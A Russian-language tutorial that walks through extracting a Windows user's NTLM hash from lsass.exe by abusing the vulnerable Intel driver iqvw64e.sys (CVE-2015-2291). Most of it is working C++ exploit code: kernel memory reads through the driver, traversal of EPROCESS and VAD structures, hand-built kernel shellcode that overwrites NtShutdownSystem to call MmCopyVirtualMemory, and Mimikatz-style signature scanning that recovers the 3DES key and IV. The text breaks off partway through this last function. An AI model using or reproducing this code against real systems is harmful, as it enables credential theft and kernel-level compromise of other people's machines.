Извлечение NTLM hash пользователя из процесса lsass.exe с помощью уязвимого драйвера
Приветствую вас, дорогие читатели! Сегодня я хочу рассказать о том, как с помощью уязвимого драйвера получить NTLM hash пользователя. NTLM hash находится в памяти процесса lsass.exe операционной системы Windows. Процесс lsass.exe отвечает за авторизацию локального пользователя компьютера.
По этой теме я нашел несколько статей:
A physical graffiti of LSASS: getting credentials from physical memory for fun and learning.
[EX007] How playing CS: GO helped you bypass security products.
Разобрав эти статьи, у меня появилось желание объединить их для лучшего понимания метода извлечения NTLM hash«а из памяти процесса lsass.exe.
Важные замечания:
Все действия будут проводится на Windows 10 версии 1909 сборка 18363.1556.
Название разработанного приложения для этой статьи будет shor.exe.
Введение.
В операционной системе Windows у процесса есть два режима работы — «user-mode» и «kernel-mode». Во время работы процесса режимы переключаются между собой средствами операционной системы Windows.
Рассмотрим различия между «user-mode» и «kernel-mode»:
Код, выполняемый в user-mode, использует изолированное виртуальное адресное пространство. Из-за этого один процесс не может изменять данные, принадлежащие другому процессу. Помимо того, что виртуальное адресное пространство процесса в user-mode является изолированным, оно ограничено. Ограничение виртуального адресного пространства процесса в user-mode предотвращает изменение и возможные повреждения критически важных данных в операционной системе.
Код, выполняемый в kernel-mode, использует одно виртуальное адресное пространство. Это значит, что драйвер kernel-mode не изолирован от других драйверов и самой операционной системы.
Из-за того, что существуют механизмы, ограничивающие доступ к lsass.exe в user-mode, мне предстоит взаимодействовать с lsass.exe с помощью уязвимого драйвера, который может доставать полезную информацию или перезаписывать память в kernel-mode.
Для того, чтобы полноценно изучить извлечение NTLM hash пользователя из процесса lsass.exe с помощью уязвимого драйвера, я составил небольшой план действий:
Найти уязвимый драйвер для чтения и записи информации в kernel-mode.
Получить из kernel-mode структуру EPROCESS для двух процессов lsass.exe и shor.exe. которые потом будут переданы в MmCopyVirtualMemory, чтобы извлечь памяти из user-mode.
С помощью обнаруженных VAD (Virtual Address Descriptor) указателей в kernel-mode, найти виртуальные адреса в user-mode, для последующего использования в функции MmCopyVirtualMemory.
Разработать shellcode для kernel-mode, который будет использовать функцию MmCopyVirtualMemory.
Извлечь NTLM hash из процесса lsass.exe.
1. Поиск драйвера.
Поиск драйвера, обладающего уязвимостью чтения и записи информации в kernel-mode, привёл меня к проекту KDU. Этот проект позволяет загружать не подписанные драйвера с помощью подписанных, но уязвимых драйверов. Одним из таких драйверов: iqvw64e.sys.
В README.md проекта KDU есть номер CVE 2015–2291 и описание уязвимости для этого драйвера. В описании сказано, что уязвимость позволяет всем пользователям вызвать отказ в обслуживании или выполнить произвольный код с привилегиями ядра с помощью вызова IOCTL 0×80862013, 0×8086200B, 0×8086200F или 0×80862007.
После выбора драйвера я нашел проект на github описывающий данную уязвимость Intel-CVE-2015–2291. Из этого проекта взял код взаимодействия из user-mode с драйвером kernel-mode:
Разбор взаимодействия с драйвером
Передаваемый IOCTL 0×80862007 в DeviceIoControl.
Передаваемый буфер в DeviceIoControl.
QWORD switch_num (a1) — номер в switch.
QWORD (a1+8) — не используется.
QWORD sourse (a1+16) — указатель на блок памяти источник.
QWORD dest (a1+24) — указатель на блок памяти назначения.
QWORD count (a1+32) — количество
копируемых байтов.
Функция memmove будет использована драйвером для чтения и записи информации в kernel-mode.
2. Поиск EPROCESS для lsass.exe и shor.exe.
Каждый процесс в памяти ядра представлен структурой EPROCESS. Эта структура меняется от версии к версии Windows NT, поэтому я не буду приводить её целиком, а рассмотрю только нужные мне части.
ActiveProcessLinks (LIST_ENTRY) — это элемент двухсвязного списка, содержащий указатели FLink (на следующий процесс в операционной системе Windows) и BLink (на предыдущий процесс в операционной системе Windows):
ImageFileName — имя процесса.
VadRoot — AVL дерево в котором находятся указатели VAD (Virtual Address Descriptor).
VadCount — указывает на количество узлов в AVL дереве.
После разбора структуры, я приступил к поиску двух EPROCESS для lsass.exe и shor.exe. Сперва я нашел EPROCESS процесса System.exe. В этом мне помогла функция PsInitialSystemProcess, которая указывает на структуру EPROCESS процесса System.exe. Затем используя ActiveProcessLinks из структуры EPROCESS процесса System.exe, я прошел по двухсвязному списку активных процессов и нашел EPROCESS для lsass.exe и shor.exe, которые потом будут переданы в MmCopyVirtualMemory, с целью дампа памяти из user-mode. Более того, используя EPROCESS процесса lsass.exe я нашел VadRoot и VadCount, которые будут использоваться в будущем.
Код поиска EPROCESS, VadRoot и VadCount:
int main(int argc, char** argv)
{
HANDLE hDevice;
printf("--[ Intel Network Adapter Diagnostic Driver exploit ]--\n");
printf("Opening handle to driver..\n");
if ((hDevice = CreateFileA(intel::szDevice, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE) {
printf("Device %s succesfully opened!\n", intel::szDevice);
printf("\tHandle: %p\n", hDevice);
}
else
{
printf("Error: Error opening device %s\n", intel::szDevice);
return 0;
}
ULONG64 ReadSystemEPROCESS = PsInitialSystemProcess();
ULONG64 SystemEPROCESS = 0;
intel::MemCopy(hDevice, (uint64_t)&SystemEPROCESS, (uint64_t)ReadSystemEPROCESS, 8);
printf("[+]PsInitialSystemProcess pointer: 0x%llx\n", ReadSystemEPROCESS);
printf("[+]PsInitialSystemProcess: 0x%llx\n", SystemEPROCESS);
ULONG64 ActiveProcessLinksOffset = 0x2f0;
ULONG64 ImageFileNameOffset = 0x450;
ULONG64 ActiveProcessLinks = SystemEPROCESS+ ActiveProcessLinksOffset;
ULONG64 VadRootOffset = 0x658;
ULONG64 VadCountOffset = 0x668;
ULONG64 VadRoot_lsass = 0;
ULONG64 VadCount_lsass = 0;
ULONG64 EPROCESS_lsass = 0;
ULONG64 EPROCESS_CurrentProcess = 0;
while (true){
ULONG64 ActiveProcessLinksNext = 0;
intel::MemCopy(hDevice, (uint64_t)&ActiveProcessLinksNext, (uint64_t)ActiveProcessLinks, 8);
UCHAR ImageFileName[MAX_PATH] = "";
intel::MemCopy(hDevice, (uint64_t)&ImageFileName, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + ImageFileNameOffset), MAX_PATH);
if (!strcmp((const char*)ImageFileName, "lsass.exe")) {
printf("[+]Name process: %.*s\n", (int)sizeof(ImageFileName), ImageFileName);
EPROCESS_lsass = ActiveProcessLinksNext - ActiveProcessLinksOffset;
printf("[+]EPROCESS lsass: 0x%llx\n", EPROCESS_lsass);
intel::MemCopy(hDevice, (uint64_t)&VadRoot_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadRootOffset), 8);
intel::MemCopy(hDevice, (uint64_t)&VadCount_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadCountOffset), 8);
printf("[+]VadRoot: 0x%llx\n", VadRoot_lsass);
printf("[+]VadCount: 0x%llx\n", VadCount_lsass);
}
if (!strcmp((const char*)ImageFileName, "shor.exe")) {
printf("[+]Name process: %.*s\n", (int)sizeof(ImageFileName), ImageFileName);
EPROCESS_CurrentProcess = ActiveProcessLinksNext - ActiveProcessLinksOffset;
printf("[+]EPROCESS CurrentProcess: 0x%llx\n", EPROCESS_CurrentProcess);
}
if ((EPROCESS_lsass !=0) && (EPROCESS_CurrentProcess != 0)) {
walkAVL(hDevice, VadRoot_lsass, VadCount_lsass, EPROCESS_lsass, EPROCESS_CurrentProcess);
break;
}
ActiveProcessLinks = ActiveProcessLinksNext;
}
getchar();
return 0;
}
Результат:
3. Поиск VAD.
Найдя EPROCESS для lsass.exe мне нужно обойти AVL дерево и извлечь все VAD указатели, в которых находятся адреса на начало и конец области виртуальной памяти в user-mode, а также путь к файлу. Данная информация понадобится мне для извлечения данных из user-mode процесса lsass.exe, с помощью функции MmCopyVirtualMemory.
Пример отображения VAD указателей и их содержимого:
Поиск VAD указателей для процесса lsass.exe начинается с нахождения вершины AVL дерева, за это отвечает указатель VadRoot:
Получив VadRoot, мне нужно пройти по всему AVL дереву и извлечь из него все VAD указатели. Они находятся в Left (смещение 0×00–0×07) и Right (смещение 0×08–0×10):
После того как VAD указатели были найдены, я прошел по ним и извлек адреса на начало (соединяя 4 байта из 0×18 и 1 байт из 0×20) и конец (объединяя 4 байта из 0×1c и 1 байт из 0×21) области виртуальной памяти в user-mode:
Код обхода AVL дерева:
void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) {
ULONG64* queue;
ULONG64 count = 0;
ULONG64 cursor = 0;
ULONG64 last = 1;
VAD* vadList = NULL;
queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4); // Make room for our queue
queue[0] = VadRoot; // Node 0
vadList = (VAD*)malloc(VadCount * sizeof(*vadList));
ULONG64 size = 0;
ULONG64 mask = 0;
intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8);
mask = mask & 0xffff000000000000;
while (count < VadCount)
{
ULONG64 currentNode;
currentNode = queue[cursor];
if (currentNode == 0) {
cursor++;
continue;
}
ULONG64 VadRootLeft = 0;
intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8);
ULONG64 VadRootRight = 0;
intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8);
//printf("[+]VadRootLeft: 0x%llx\n", VadRootLeft);
//printf("[+]VadRootRight: 0x%llx\n", VadRootRight);
queue[last++] = VadRootLeft;
queue[last++] = VadRootRight;
ULONG64 Start = 0;
ULONG64 StartingVpn = 0;
ULONG64 StartingVpnHigh = 0;
intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4);
intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1);
Start = (StartingVpn << 12) | (StartingVpnHigh << 44);
ULONG64 End = 0;
ULONG64 EndingVpn = 0;
ULONG64 EndingVpnHigh = 0;
intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4);
intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1);
End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44);
printf("[+] Vad 0x%llx | Start-End: 0x%llx-0x%llx Size byte: %lld\n", currentNode, Start, End, (End - Start));
count++;
cursor++;
}
free(vadList);
free(queue);
return;
}
Результат:
Кроме того, VAD содержит и другие данные, например, если область зарезервирована для образа файла, то можно получить путь к этому файлу. Это важно, потому что я хочу найти загруженный lsasrv.dll внутри процесса lsass.exe, а также отсюда будут получены учетные данные по аналогии с Mimikatz sekurlsa: msv.
Поиск пути к файлу lsasrv.dll будет заключатся в том, чтобы пройти по некоторым структурам в kernel-mode:
ffff810344b90110 5 7ffa044f0 7ffa04690 13 Mapped Exe EXECUTE_WRITECOPY \Windows\System32\lsasrv.dll
0: kd> dt nt!_mmvad ffff810344b90110
+0x000 Core : _MMVAD_SHORT
+0x040 u2 :
+0x048 Subsection : 0xffff8103`42db2d30 _SUBSECTION <===========================
+0x050 FirstPrototypePte : 0xffffa483`fe977010 _MMPTE
+0x058 LastContiguousPte : 0xffffa483`fe977d10 _MMPTE
+0x060 ViewLinks : _LIST_ENTRY [ 0xffff8103`42db2cb8 - 0xffff8103`42db2cb8 ]
+0x070 VadsProcess : 0xffff8103`44b71081 _EPROCESS
+0x078 u4 :
+0x080 FileObject : (null)
0: kd> dt nt!_SUBSECTION 0xffff8103`42db2d30
+0x000 ControlArea : 0xffff8103`42db2cb0 _CONTROL_AREA <===========================
+0x008 SubsectionBase : 0xffffa483`fe977010 _MMPTE
+0x010 NextSubsection : 0xffff8103`42db2d68 _SUBSECTION
+0x018 GlobalPerSessionHead : _RTL_AVL_TREE
+0x018 CreationWaitList : (null)
+0x018 SessionDriverProtos : (null)
+0x020 u :
+0x024 StartingSector : 0
+0x028 NumberOfFullSectors : 2
+0x02c PtesInSubsection : 1
+0x030 u1 :
+0x034 UnusedPtes : 0y000000000000000000000000000000 (0)
+0x034 ExtentQueryNeeded : 0y0
+0x034 DirtyPages : 0y0
0: kd> dt nt!_CONTROL_AREA 0xffff8103`42db2cb0
+0x000 Segment : 0xffffa484`02468160 _SEGMENT
+0x008 ListHead : _LIST_ENTRY [ 0xffff8103`44b90170 - 0xffff8103`44b90170 ]
+0x008 AweContext : 0xffff8103`44b90170 Void
+0x018 NumberOfSectionReferences : 0
+0x020 NumberOfPfnReferences : 0x19a
+0x028 NumberOfMappedViews : 1
+0x030 NumberOfUserReferences : 1
+0x038 u :
+0x03c u1 :
+0x040 FilePointer : _EX_FAST_REF <===========================
+0x048 ControlAreaLock : 0n0
+0x04c ModifiedWriteCount : 0
+0x050 WaitList : (null)
+0x058 u2 :
+0x068 FileObjectLock : _EX_PUSH_LOCK
+0x070 LockedPages : 1
+0x078 u3 :
0: kd> dt nt!_EX_FAST_REF 0xffff8103`42db2cb0 + 0x40
+0x000 Object : 0xffff8103`44b7566d Void <=========================== & 0xfffffffffffffff0
+0x000 RefCnt : 0y1101
+0x000 Value : 0xffff8103`44b7566d
Чтобы получить правильный указатель на _FILE_OBJECT мне нужно изменить последнею цифру в 0xffff8103`44b7566d на 0, таким образом получив 0xffff8103`44b75660
0: kd> dt nt!_FILE_OBJECT 0xffff8103`44b75660
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffff8103`426d9c00 _DEVICE_OBJECT
+0x010 Vpb : 0xffff8103`4265c0e0 _VPB
+0x018 FsContext : 0xffffa484`02484170 Void
+0x020 FsContext2 : 0xffffa484`024843d0 Void
+0x028 SectionObjectPointer : 0xffff8103`42faaf28 _SECTION_OBJECT_POINTERS
+0x030 PrivateCacheMap : (null)
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : (null)
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0x1 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0x1 ''
+0x04e SharedWrite : 0 ''
+0x04f SharedDelete : 0x1 ''
+0x050 Flags : 0x44042
+0x058 FileName : _UNICODE_STRING "\Windows\System32\lsasrv.dll" <===========================
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 0
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffff8103`44b75720 - 0xffff8103`44b75720 ]
+0x0d0 FileObjectExtension : (null)
Код поиска lsasrv.dll:
void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) {
ULONG64* queue;
ULONG64 count = 0;
ULONG64 cursor = 0;
ULONG64 last = 1;
VAD* vadList = NULL;
queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4);
queue[0] = VadRoot;
vadList = (VAD*)malloc(VadCount * sizeof(*vadList));
ULONG64 size = 0;
ULONG64 mask = 0;
intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8);
mask = mask & 0xffff000000000000;
while (count < VadCount)
{
ULONG64 currentNode;
currentNode = queue[cursor];
if (currentNode == 0) {
cursor++;
continue;
}
ULONG64 VadRootLeft = 0;
intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8);
ULONG64 VadRootRight = 0;
intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8);
//printf("[+]VadRootLeft: 0x%llx\n", VadRootLeft);
//printf("[+]VadRootRight: 0x%llx\n", VadRootRight);
queue[last++] = VadRootLeft;
queue[last++] = VadRootRight;
ULONG64 Start = 0;
ULONG64 StartingVpn = 0;
ULONG64 StartingVpnHigh = 0;
intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4);
intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1);
Start = (StartingVpn << 12) | (StartingVpnHigh << 44);
ULONG64 End = 0;
ULONG64 EndingVpn = 0;
ULONG64 EndingVpnHigh = 0;
intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4);
intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1);
End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44);
ULONG64 subsection = 0;
intel::MemCopy(hDevice, (uint64_t)&subsection, (uint64_t)(currentNode + 0x48), 8);
if (subsection != 0 && subsection != 0xffffffffffffffff&& (subsection & mask) == mask) {
ULONG64 control_area = 0;
intel::MemCopy(hDevice, (uint64_t)&control_area, (uint64_t)(subsection), 8);
if (control_area != 0 && control_area != 0xffffffffffffffff&& (control_area & mask) == mask) {
ULONG64 fileobject = 0;
intel::MemCopy(hDevice, (uint64_t)&fileobject, (uint64_t)(control_area + 0x40), 8);
if (fileobject != 0 && fileobject != 0xffffffffffffffff && (fileobject & mask) == mask) {
fileobject = fileobject & 0xfffffffffffffff0;
USHORT Path_size = 0;
intel::MemCopy(hDevice, (uint64_t)&Path_size, (uint64_t)(fileobject + 0x58 + 0x2), 8);
ULONG64 Path = 0;
intel::MemCopy(hDevice, (uint64_t)&Path, (uint64_t)(fileobject + 0x58 + 0x8), Path_size);
char FileName[MAX_PATH];
memset(FileName,0, MAX_PATH);
intel::MemCopy(hDevice, (uint64_t)&FileName, (uint64_t)(Path), Path_size);
char lsasrv[28]; // = "Windows\System32\lsasrv.dll";
memset(lsasrv, 0, 28);
int lsasrv_size = 0;
for (int i = 1; i < (Path_size -1); i++) {
if (FileName[i] != 0x00) {
lsasrv[lsasrv_size] = FileName[i];
lsasrv_size++;
}
if (lsasrv_size == 27){
break;
}
}
if (!strcmp((const char*)lsasrv, "Windows\\System32\\lsasrv.dll")) {
std::cout << "[+]Found: lsasrv.dll " << (const char*)lsasrv << "\n";
printf("[+]Start-End: 0x%llx-0x%llx Size byte: %lld\n", Start, End, (End - Start));
printf("[+]Vad: 0x%llx\n", currentNode);
break;
}
}
}
}
count++;
cursor++;
}
free(vadList);
free(queue);
return;
}
Результат:
4. Shellcode в kernel-mode.
В процессе извлечения виртуальной памяти из user-mode с помощью драйвера я наткнулся на проблему, что он не имеет требуемого функционала.
Для выхода из данной ситуации я воспользовался идеей из второй статьи. В ней говорится, что можно перезаписать API функцию NtShutdownSystem расположенную в Ntoskrnl.exe (ядро операционной системы Windows NT) на собственный shellcode и вызвать эту (перезаписанную) функцию из ntdll.dll (динамически подключаемая библиотека, служащая прослойкой между API и NT API), чтобы shellcode выполнился с привилегиями kernel-mode.
Суть shellcode«а будет заключатся в том, чтобы вызвать недокументированную функцию MmCopyVirtualMemory, которая как раз позволит извлечь виртуальную память из lsass.exe расположенной в user-mode.
Разработанный shellcode будет работать следующим образом:
Сперва я выделяю участок памяти для вызова недокументированной функции MmCopyVirtualMemory.
Код выделения памяти:
DWORD64 GetAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll) {
DWORD64 AddressAllocate = 0;
char rawAllocate[44]; // выделяю память под shellcode
// char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 };
char prologue[4] = {0x55,0x48,0x89,0xe5 }; //prologue
memmove(rawAllocate, prologue, 4);
char NumberoFBytes_mov_rdx[2] = { 0x48,0xBA }; // rdx NumberoFBytes
memmove(rawAllocate + 4, NumberoFBytes_mov_rdx, 2);
DWORD64 NumberoFBytes_mov_data = 0x200;
memmove(rawAllocate + 6, (char*)&NumberoFBytes_mov_data, 8);
char PoolType_mov_rcx[3] = { 0x48,0x33,0xc9 }; // rcx PoolType
memmove(rawAllocate + 14, PoolType_mov_rcx, 3);
char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address
memmove(rawAllocate + 17, calladdress_mov_rax, 2);
DWORD64 calladdress_mov_data = ExAllocatePool;
memmove(rawAllocate + 19, (char*)&calladdress_mov_data, 8);
char call_rax[2] = { 0xff,0xd0 };
memmove(rawAllocate + 27, call_rax, 2);
char get_rax_mov[2] = { 0x48,0xa3 }; // get rax
memmove(rawAllocate + 29, get_rax_mov, 2);
DWORD64 get_rax_data = (DWORD64)&AddressAllocate;
memmove(rawAllocate + 31, (char*)&get_rax_data, 8);
char epilogue[4] = { 0x48,0x89,0xec,0x5d }; //epilogue
memmove(rawAllocate + 39, epilogue, 4);
char ret[1] = { 0xC3 }; //ret
memmove(rawAllocate + 43, ret, 1);
intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawAllocate, 44); //34
NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll;
fNtShutdownSystem(ShutdownPowerOff);
return AddressAllocate;
}
Результат:
Дальше, я изменю NtShutdownSystem так, чтобы совершить переход на выделенный участок памяти.
Код совершения перехода:
void CallAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll, DWORD64 AddressAllocate) {
char rawCallAllocate[24];
char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 };
//char prologue[4] = {0x55,0x48,0x89,0xe5 }; //prologue
memmove(rawCallAllocate, prologue, 7);
char Allocate_mov_rax[2] = { 0x48,0xa1 }; //
memmove(rawCallAllocate + 7, Allocate_mov_rax, 2);
DWORD64 Allocate_mov_data = (DWORD64)&AddressAllocate;
memmove(rawCallAllocate + 9, (char*)&Allocate_mov_data, 8);
char calladdress_rax[2] = { 0xff,0xd0 }; // call address
memmove(rawCallAllocate + 17, calladdress_rax, 2);
char epilogue[4] = { 0x48,0x89,0xec,0x5d }; //epilogue
memmove(rawCallAllocate + 19, epilogue, 4);
char ret[1] = { 0xC3 }; //ret
memmove(rawCallAllocate + 23, ret, 1);
intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawCallAllocate, 24); //34
}
Результат:
А в выделенный участок памяти помещаю shellcode, для вызова недокументированной функции MmCopyVirtualMemory.
Код вызова функции MmCopyVirtualMemory:
char rawData[96];
char prologue[4] = { 0x55,0x48,0x89,0xe5 }; //prologue
memmove(rawData, prologue, 4);
char result_mov_rax[2] = { 0x48,0xb8 }; //push result
memmove(rawData + 4, result_mov_rax, 2);
DWORD64 result_mov_data = (DWORD64)&Result;
memmove(rawData + 6, (char*)&result_mov_data, 8);
char push_rsp_30[5] = { 0x48,0x89,0x44,0x24,0x30 };
memmove(rawData + 14, push_rsp_30, 5);
char push_rsp_28[5] = { 0xC6,0x44,0x24,0x28,0x00 }; // // push kernel mode
memmove(rawData + 19, push_rsp_28, 5);
char size_mov_rax[2] = { 0x48,0xb8 }; // push size to
memmove(rawData + 24, size_mov_rax, 2);
DWORD64 size_mov_data = Size;
memmove(rawData + 26, (char*)&size_mov_data, 8);
char push_rsp_20[5] = { 0x48,0x89,0x44,0x24,0x20 };
memmove(rawData + 34, push_rsp_20, 5);
char targetaddress_mov_r9[2] = { 0x49,0xb9 }; // r9 targetaddress
memmove(rawData + 39, targetaddress_mov_r9, 2);
DWORD64 targetaddress_mov_data = (DWORD64)&targetaddress;
memmove(rawData + 41, (char*)targetaddress_mov_data, 8);
char targetProcess_mov_r8[2] = { 0x49,0xb8 }; // r8 targetProcess
memmove(rawData + 49, targetProcess_mov_r8, 2);
DWORD64 targetProcess_mov_data = targetProcess;
memmove(rawData + 51, (char*)&targetProcess_mov_data, 8);
char sourseaddress_mov_rdx[2] = { 0x48,0xBA }; // rdx sourseaddress
memmove(rawData + 59, sourseaddress_mov_rdx, 2);
DWORD64 sourseaddress_mov_data = sourseaddress;
memmove(rawData + 61, (char*)&sourseaddress_mov_data, 8);
char sourseProcess_mov_rcx[2] = { 0x48,0xb9 }; // rcx sourseProcess
memmove(rawData + 69, sourseProcess_mov_rcx, 2);
DWORD64 sourseProcess_mov_data = sourseProcess;
memmove(rawData + 71, (char*)&sourseProcess_mov_data, 8);
char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address
memmove(rawData + 79, calladdress_mov_rax, 2);
DWORD64 calladdress_mov_data = MmCopyVirtualMemory;
memmove(rawData + 81, (char*)&calladdress_mov_data, 8);
char call_rax[2] = { 0xff,0xd0 };
memmove(rawData + 89, call_rax, 2);
char epilogue[4] = { 0x48,0x89,0xec,0x5d }; //epilogue
memmove(rawData + 91, epilogue, 4);
char ret[1] = { 0xC3 }; //ret
memmove(rawData + 95, ret, 1);
intel::MemCopy(hDevice, (uint64_t)AddressAllocate, (uint64_t)rawData, 96); //96
NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll;
DWORD64 Allocate = fNtShutdownSystem(ShutdownPowerOff);
Результат:
5. Извлечение NTLM hash из lsass.exe.
Реализация метода извлечения NTLM hash из lsass.exe взята из первой статьи. В ней сказано, что данный метод реализуется по аналогии с Mimikatz (sekurlsa: msv), который был взят из статьи «Uncovering Mimikatz «msv» and collecting credentials through PyKD» от Matteo Malvica.
Код поиска NTLM hash:
void lootLsaSrv(HANDLE hDevice, ULONG64 EPROCESS_lssas, ULONG64 Start, ULONG64 End, ULONG64 Size, ULONG64 EPROCESS_GetProcess) { //(char* start, ULONGLONG original, ULONGLONG size) {
LARGE_INTEGER reader;
DWORD bytes_read = 0;
LPSTR lsasrv = NULL;
ULONGLONG cursor = 0;
ULONGLONG lsasrv_size = 0;
ULONGLONG original = 0;
BOOL result;
ULONGLONG LogonSessionListCount = 0;
ULONGLONG LogonSessionList = 0;
ULONGLONG LogonSessionList_offset = 0;
ULONGLONG LogonSessionListCount_offset = 0;
ULONGLONG iv_offset = 0;
ULONGLONG hDes_offset = 0;
ULONGLONG DES_pointer = 0;
unsigned char* iv_vector = NULL;
unsigned char* DES_key = NULL;
KIWI_BCRYPT_HANDLE_KEY h3DesKey;
KIWI_BCRYPT_KEY81 extracted3DesKey;
LSAINITIALIZE_NEEDLE LsaInitialize_needle = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 };
LOGONSESSIONLIST_NEEDLE LogonSessionList_needle = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 };
PBYTE LsaInitialize_needle_buffer = NULL;
PBYTE needle_buffer = NULL;
int offset_LsaInitialize_needle = 0;
int offset_LogonSessionList_needle = 0;
ULONGLONG currentElem = 0;
original = (DWORD64)Start;
/* Save the whole region in a buffer */
lsasrv = (LPSTR)malloc(Size);
lsasrv = (LPSTR)dumpUsermode(hDevice, EPROCESS_lssas, Start, (End - Start), EPROCESS_GetProcess);
lsasrv_size = Size;
// Use mimikatz signatures to find the IV/keys
printf("\t\t===================[Crypto info]===================\n");
LsaInitialize_needle_buffer = (PBYTE)malloc(sizeof(LSAINITIALIZE_NEEDLE));
memcpy(LsaInitialize_needle_buffer, &LsaInitialize_needle, sizeof(LSAINITIALIZE_NEEDLE));
offset_LsaInitialize_needle = memmem((PBYTE)lsasrv, lsasrv_size, LsaInitialize_needle_buffer, sizeof(LSAINITIALIZE_NEEDLE));
printf("[*] Offset for InitializationVector/h3DesKey/hAesKey is %d\n", offset_LsaInitialize_needle);
memcpy(&iv_offset, lsasrv + offset_LsaInitialize_needle + 0x43, 4); //IV offset
printf("[*] IV Vector relative offset: 0x%08llx\n", iv_offset);
iv_vector = (unsigned char*)malloc(16);
memcpy(iv_vector, lsasrv + offset_LsaInitialize_needle + 0x43 + 4 + iv_offset, 16);
printf("\t\t[/!\\] IV Vector: ");
for (int i = 0; i < 16; i++) {
printf("%02x", iv_vector[i]);
}
printf(" [/!\\]\n");
free(iv_vector);
memcpy(&hDes_offset, lsasrv + offset_LsaInitialize_needle - 0x59, 4); //DES KEY offset
printf("[*] 3DES Handle Key relative offset: 0x%08llx\n", hDes_offset);
printf("[*]0x%08llx\n", (original + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset));
memcpy(&DES_pointer, lsasrv + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset, 8);
printf("[*] 3DES Handle Key pointer: 0x%08llx\n", DES_pointer);
LPSTR h3DesKey_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_HANDLE_KEY));
h3DesKey_tmp = dumpUsermode(hDevice, EPROCESS_lssas, DES_pointer, sizeof(KIWI_BCRYPT_HANDLE_KEY), EPROCESS_GetProcess);
memcpy(&h3DesKey, h3DesKey_tmp, sizeof(KIWI_BCRYPT_HANDLE_KEY));
free(h3DesKey_tmp);
LPSTR h3DesKey_key_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81));
h3DesKey_key_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)h3DesKey.key, sizeof(KIWI_BCRYPT_KEY81), EPROCESS_GetProcess);
memcpy(&extracted3DesKey, h3DesKey_key_tmp, sizeof(KIWI_BCRYPT_KEY81));
free(h3DesKey_key_tmp);
DES_key = (unsigned char*)malloc(extracted3DesKey.hardkey.cbSecret);
memcpy(DES_key, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret);
printf("\t\t[/!\\] 3DES Key: ");
for (int i = 0; i < extracted3DesKey.hardkey.cbSecret; i++) {
printf("%02x", DES_key[i]);
}
printf(" [/!\\]\n");
free(DES_key);
printf("\t\t================================================\n");
